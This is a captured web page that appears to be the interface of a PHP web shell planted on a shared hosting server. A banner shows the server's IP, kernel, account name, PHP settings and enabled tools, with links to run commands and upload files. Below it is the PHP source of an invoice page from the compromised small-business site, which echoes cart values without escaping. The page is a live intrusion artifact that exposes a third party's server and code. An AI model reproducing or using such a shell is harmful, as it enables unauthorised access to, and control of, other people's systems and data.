Server IP : 103.53.40.154 / Your IP : 18.117.78.87 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/deedeecreation.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include_once('admin/config.php'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Dee Dee Creation</title> <?php include 'top-link.php';?> </head> <body> <section class="print-page mt-2 py-5"> <div style="box-shadow: rgba(0, 0, 0, 0.02) 0px 1px 3px 0px, rgba(27, 31, 35, 0.15) 0px 0px 0px 1px;padding:20px 0px;" class="container"> <div style="border: 1px solid black;padding: 20px; margin: 0px 20px;" class="row"> <h1 class="text-center" style="font-size: 30px;margin: 10px 0px;margin-bottom:30px">Products Invoice</h1> <?php // print_r($_SESSION['cart']);exit; $counter = 1; $total = 0; foreach ($_SESSION['cart'] as $key => $value) { echo '<div class="col-3 mb-2"> <div class="print-box"> <img style="width: 84px;margin: auto;display: block;" class="img-fluid" src="'.$wspath.'admin/images/'.$value['img1'].'"> </div> </div> <div class="col-3"> <div class="print-box"> <p><b>Design</b> : '.$value['name'].'</p> </div> </div> <div class="col-3"> <div class="print-box"> <p><b>Size</b> : '.$value['size'].'</p> </div> </div> <div class="col-3"> <div class="print-box"> <p><b>Rate</b> : '.$value['rate'] .'</p> </div> </div><hr>'; } ?> </div> <div class="row print-button-row"> <div class="col-12 text-center mt-4"> <button id="printButton" class="btn btn-primary"><i class="fa-solid fa-print"></i> Print</button> <button id="generatePDFButton" name="generatePDFButton" class="btn btn-secondary"><i class="fa-solid fa-file-pdf"></i> Generate PDF</button> </div> </div> </div> </section> <script> document.getElementById("printButton").addEventListener("click", function() { window.print(); }); document.getElementById("generatePDFButton").addEventListener("click", function() { window.location.href = 'send.php'; // Redirect to generate-pdf.php }); </script> </body> </html>